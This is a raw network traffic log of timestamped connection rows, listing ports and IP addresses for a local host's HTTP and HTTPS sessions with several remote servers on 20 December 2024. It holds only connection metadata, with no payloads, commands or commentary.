Dec 20, 2024 16:20:29.644191980 CET	49714	443	192.168.2.8	34.117.59.81
Dec 20, 2024 16:20:29.644202948 CET	443	49714	34.117.59.81	192.168.2.8
Dec 20, 2024 16:20:29.644453049 CET	443	49714	34.117.59.81	192.168.2.8
Dec 20, 2024 16:20:29.647094965 CET	49714	443	192.168.2.8	34.117.59.81
Dec 20, 2024 16:20:29.691333055 CET	443	49714	34.117.59.81	192.168.2.8
Dec 20, 2024 16:20:30.110848904 CET	443	49714	34.117.59.81	192.168.2.8
Dec 20, 2024 16:20:30.110938072 CET	443	49714	34.117.59.81	192.168.2.8
Dec 20, 2024 16:20:30.111005068 CET	49714	443	192.168.2.8	34.117.59.81
Dec 20, 2024 16:20:30.111392021 CET	49714	443	192.168.2.8	34.117.59.81
Dec 20, 2024 16:20:30.111413956 CET	443	49714	34.117.59.81	192.168.2.8
Dec 20, 2024 16:20:30.560251951 CET	49717	80	192.168.2.8	45.94.31.128
Dec 20, 2024 16:20:30.679778099 CET	80	49717	45.94.31.128	192.168.2.8
Dec 20, 2024 16:20:30.680000067 CET	49717	80	192.168.2.8	45.94.31.128
Dec 20, 2024 16:20:30.680303097 CET	49717	80	192.168.2.8	45.94.31.128
Dec 20, 2024 16:20:30.799770117 CET	80	49717	45.94.31.128	192.168.2.8
Dec 20, 2024 16:20:31.921175957 CET	80	49717	45.94.31.128	192.168.2.8
Dec 20, 2024 16:20:31.967457056 CET	49717	80	192.168.2.8	45.94.31.128
Dec 20, 2024 16:20:36.936506987 CET	49717	80	192.168.2.8	45.94.31.128
Dec 20, 2024 16:20:36.939635992 CET	49720	80	192.168.2.8	45.94.31.128
Dec 20, 2024 16:20:37.056837082 CET	80	49717	45.94.31.128	192.168.2.8
Dec 20, 2024 16:20:37.056935072 CET	49717	80	192.168.2.8	45.94.31.128
Dec 20, 2024 16:20:37.059355021 CET	80	49720	45.94.31.128	192.168.2.8
Dec 20, 2024 16:20:37.059462070 CET	49720	80	192.168.2.8	45.94.31.128
Dec 20, 2024 16:20:37.059886932 CET	49720	80	192.168.2.8	45.94.31.128
Dec 20, 2024 16:20:37.179503918 CET	80	49720	45.94.31.128	192.168.2.8
Dec 20, 2024 16:20:38.300461054 CET	80	49720	45.94.31.128	192.168.2.8
Dec 20, 2024 16:20:38.342447042 CET	49720	80	192.168.2.8	45.94.31.128
Dec 20, 2024 16:20:43.454044104 CET	49723	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:20:43.454093933 CET	443	49723	8.8.4.4	192.168.2.8
Dec 20, 2024 16:20:43.454190969 CET	49723	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:20:43.454638958 CET	49723	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:20:43.454663038 CET	443	49723	8.8.4.4	192.168.2.8
Dec 20, 2024 16:20:44.696280956 CET	443	49723	8.8.4.4	192.168.2.8
Dec 20, 2024 16:20:44.696474075 CET	49723	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:20:44.697926044 CET	49723	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:20:44.698086977 CET	443	49723	8.8.4.4	192.168.2.8
Dec 20, 2024 16:20:44.698187113 CET	49723	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:20:49.705243111 CET	49727	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:20:49.705301046 CET	443	49727	8.8.4.4	192.168.2.8
Dec 20, 2024 16:20:49.705408096 CET	49727	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:20:49.705791950 CET	49727	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:20:49.705806971 CET	443	49727	8.8.4.4	192.168.2.8
Dec 20, 2024 16:20:51.061996937 CET	443	49727	8.8.4.4	192.168.2.8
Dec 20, 2024 16:20:51.062074900 CET	49727	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:20:51.063292027 CET	49727	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:20:51.063298941 CET	443	49727	8.8.4.4	192.168.2.8
Dec 20, 2024 16:20:51.063658953 CET	443	49727	8.8.4.4	192.168.2.8
Dec 20, 2024 16:20:51.063946962 CET	49727	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:20:51.107322931 CET	443	49727	8.8.4.4	192.168.2.8
Dec 20, 2024 16:20:51.508138895 CET	443	49727	8.8.4.4	192.168.2.8
Dec 20, 2024 16:20:51.508558989 CET	443	49727	8.8.4.4	192.168.2.8
Dec 20, 2024 16:20:51.508622885 CET	49727	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:20:51.509156942 CET	49727	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:20:51.509191036 CET	443	49727	8.8.4.4	192.168.2.8
Dec 20, 2024 16:20:51.517673016 CET	49720	80	192.168.2.8	45.94.31.128
Dec 20, 2024 16:20:51.517987967 CET	49729	80	192.168.2.8	45.94.31.128
Dec 20, 2024 16:20:51.637552977 CET	80	49729	45.94.31.128	192.168.2.8
Dec 20, 2024 16:20:51.637734890 CET	49729	80	192.168.2.8	45.94.31.128
Dec 20, 2024 16:20:51.637844086 CET	80	49720	45.94.31.128	192.168.2.8
Dec 20, 2024 16:20:51.637906075 CET	49729	80	192.168.2.8	45.94.31.128
Dec 20, 2024 16:20:51.637919903 CET	49720	80	192.168.2.8	45.94.31.128
Dec 20, 2024 16:20:51.757693052 CET	80	49729	45.94.31.128	192.168.2.8
Dec 20, 2024 16:20:52.890250921 CET	80	49729	45.94.31.128	192.168.2.8
Dec 20, 2024 16:20:52.890517950 CET	49729	80	192.168.2.8	45.94.31.128
Dec 20, 2024 16:20:53.011092901 CET	80	49729	45.94.31.128	192.168.2.8
Dec 20, 2024 16:20:53.011337042 CET	49729	80	192.168.2.8	45.94.31.128
Dec 20, 2024 16:21:03.424055099 CET	49761	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:21:03.424099922 CET	443	49761	8.8.4.4	192.168.2.8
Dec 20, 2024 16:21:03.424158096 CET	49761	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:21:03.424722910 CET	49761	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:21:03.424736977 CET	443	49761	8.8.4.4	192.168.2.8
Dec 20, 2024 16:21:04.644329071 CET	443	49761	8.8.4.4	192.168.2.8
Dec 20, 2024 16:21:04.644484997 CET	49761	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:21:04.645885944 CET	49761	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:21:04.646003962 CET	443	49761	8.8.4.4	192.168.2.8
Dec 20, 2024 16:21:04.646099091 CET	49761	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:21:09.658533096 CET	49779	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:21:09.658574104 CET	443	49779	8.8.4.4	192.168.2.8
Dec 20, 2024 16:21:09.658678055 CET	49779	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:21:09.659234047 CET	49779	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:21:09.659255028 CET	443	49779	8.8.4.4	192.168.2.8
Dec 20, 2024 16:21:10.881364107 CET	443	49779	8.8.4.4	192.168.2.8
Dec 20, 2024 16:21:10.881495953 CET	49779	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:21:10.883058071 CET	49779	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:21:10.883069992 CET	443	49779	8.8.4.4	192.168.2.8
Dec 20, 2024 16:21:10.883464098 CET	443	49779	8.8.4.4	192.168.2.8
Dec 20, 2024 16:21:10.883788109 CET	49779	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:21:10.927336931 CET	443	49779	8.8.4.4	192.168.2.8
Dec 20, 2024 16:21:11.324055910 CET	443	49779	8.8.4.4	192.168.2.8
Dec 20, 2024 16:21:11.324187994 CET	443	49779	8.8.4.4	192.168.2.8
Dec 20, 2024 16:21:11.324233055 CET	49779	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:21:11.324493885 CET	49779	443	192.168.2.8	8.8.4.4
Dec 20, 2024 16:21:11.324512005 CET	443	49779	8.8.4.4	192.168.2.8
Dec 20, 2024 16:21:11.471378088 CET	49785	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:11.471430063 CET	443	49785	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:11.471535921 CET	49785	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:11.471900940 CET	49785	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:11.471913099 CET	443	49785	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:13.049619913 CET	443	49785	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:13.049757004 CET	49785	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:13.053733110 CET	49785	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:13.053812981 CET	443	49785	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:13.053904057 CET	49785	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:18.203618050 CET	49804	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:18.203654051 CET	443	49804	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:18.203767061 CET	49804	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:18.204109907 CET	49804	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:18.204119921 CET	443	49804	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:19.782511950 CET	443	49804	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:19.782582998 CET	49804	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:19.784086943 CET	49804	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:19.784109116 CET	443	49804	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:19.784390926 CET	443	49804	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:19.784734011 CET	49804	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:19.831326008 CET	443	49804	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:20.464659929 CET	443	49804	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:20.465090036 CET	443	49804	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:20.465146065 CET	49804	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:20.465161085 CET	443	49804	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:20.465217113 CET	49804	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:20.465390921 CET	49804	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:20.465409994 CET	443	49804	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:20.610847950 CET	49814	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:20.610884905 CET	443	49814	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:20.611450911 CET	49814	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:20.612143040 CET	49814	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:20.612154007 CET	443	49814	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:21.829740047 CET	443	49814	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:21.829865932 CET	49814	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:21.831206083 CET	49814	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:21.831245899 CET	443	49814	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:21.831305027 CET	49814	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:26.895055056 CET	49829	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:26.895097017 CET	443	49829	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:26.895230055 CET	49829	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:26.903223038 CET	49829	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:26.903239012 CET	443	49829	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:28.116705894 CET	443	49829	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:28.116849899 CET	49829	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:28.118172884 CET	49829	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:28.118179083 CET	443	49829	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:28.118496895 CET	443	49829	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:28.119077921 CET	49829	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:28.163322926 CET	443	49829	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:28.558060884 CET	443	49829	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:28.558254957 CET	443	49829	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:28.558365107 CET	49829	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:28.558554888 CET	49829	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:28.558569908 CET	443	49829	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:28.561605930 CET	49835	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:28.561650991 CET	443	49835	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:28.561752081 CET	49835	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:28.562208891 CET	49835	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:28.562225103 CET	443	49835	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:30.141236067 CET	443	49835	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:30.141320944 CET	49835	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:30.142369986 CET	49835	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:30.142405033 CET	443	49835	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:30.142505884 CET	49835	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:35.157934904 CET	49853	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:35.157989979 CET	443	49853	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:35.158090115 CET	49853	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:35.158487082 CET	49853	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:35.158500910 CET	443	49853	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:36.734823942 CET	443	49853	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:36.734944105 CET	49853	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:36.736649036 CET	49853	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:36.736665010 CET	443	49853	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:36.736910105 CET	443	49853	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:36.737279892 CET	49853	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:36.779336929 CET	443	49853	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:37.440124989 CET	443	49853	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:37.440305948 CET	443	49853	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:37.440372944 CET	443	49853	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:37.440377951 CET	49853	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:37.440424919 CET	49853	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:37.440778017 CET	49853	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:37.440795898 CET	443	49853	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:37.440869093 CET	49853	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:37.440876007 CET	443	49853	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:37.443681002 CET	49861	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:37.443732023 CET	443	49861	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:37.443815947 CET	49861	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:37.444194078 CET	49861	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:37.444201946 CET	443	49861	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:38.670825958 CET	443	49861	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:38.670933962 CET	49861	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:38.672874928 CET	49861	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:38.672888994 CET	443	49861	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:38.673137903 CET	443	49861	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:38.673597097 CET	49861	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:38.719326973 CET	443	49861	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:39.111593962 CET	443	49861	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:39.111670971 CET	443	49861	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:39.111721039 CET	49861	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:39.111989021 CET	49861	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:39.112013102 CET	443	49861	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:39.112763882 CET	49867	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:39.112809896 CET	443	49867	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:39.112901926 CET	49867	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:39.113209009 CET	49867	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:39.113224983 CET	443	49867	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:40.705272913 CET	443	49867	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:40.705759048 CET	49867	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:40.705787897 CET	443	49867	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:40.705857992 CET	49867	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:40.705862045 CET	443	49867	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:41.397834063 CET	443	49867	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:41.397924900 CET	443	49867	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:41.397985935 CET	49867	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:41.398006916 CET	443	49867	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:41.398081064 CET	49867	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:41.398330927 CET	49867	443	192.168.2.8	20.233.83.145
Dec 20, 2024 16:21:41.398359060 CET	443	49867	20.233.83.145	192.168.2.8
Dec 20, 2024 16:21:41.398881912 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:41.398932934 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:41.399003983 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:41.399179935 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:41.399195910 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:42.612829924 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:42.613354921 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:42.613394976 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:42.613416910 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:42.613423109 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.534087896 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.534178019 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.534208059 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.534220934 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:43.534255981 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.534291029 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:43.542598963 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.552634954 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.552704096 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:43.552721024 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.561134100 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.561249018 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:43.561261892 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.570952892 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.571036100 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:43.571048975 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.623758078 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:43.653944969 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.701906919 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:43.701936007 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.748756886 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:43.770416975 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.770430088 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.770472050 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.770488977 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.770500898 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.770572901 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:43.770598888 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.770623922 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:43.770646095 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:43.819355011 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.819410086 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.819457054 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:43.819480896 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.819503069 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.819518089 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:43.819536924 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.819539070 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:43.819549084 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:43.819577932 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:43.936666012 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.936683893 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.936733007 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.936825037 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:43.936871052 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.936892986 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:43.936908007 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:43.964643955 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.964672089 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.964817047 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:43.964849949 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.964899063 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:43.992522955 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.992548943 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.992700100 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:43.992723942 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:43.992772102 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:44.014940977 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.014966011 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.015068054 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:44.015106916 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.015160084 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:44.128375053 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.128412008 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.128505945 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:44.128536940 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.128586054 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:44.145147085 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.145174980 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.145265102 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:44.145296097 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.145347118 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:44.163520098 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.163546085 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.163619041 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:44.163647890 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.163697004 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:44.181808949 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.181838989 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.181885004 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:44.181919098 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.181935072 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:44.181953907 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:44.197582006 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.197609901 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.197730064 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:44.197762012 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.197869062 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:44.217176914 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.217201948 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.217274904 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:44.217309952 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.217403889 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:44.304336071 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.304364920 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.304419041 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:44.304440022 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.304470062 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:44.304491043 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:44.318480968 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.318509102 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.318649054 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:44.318665028 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.318713903 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:44.332202911 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.332232952 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.332381964 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:44.332395077 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.332442999 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:44.343235016 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.343267918 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.343338966 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:44.343372107 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:44.343388081 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:44.343420029 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:44.356410980 CET	443	49873	185.199.108.133	192.168.2.8
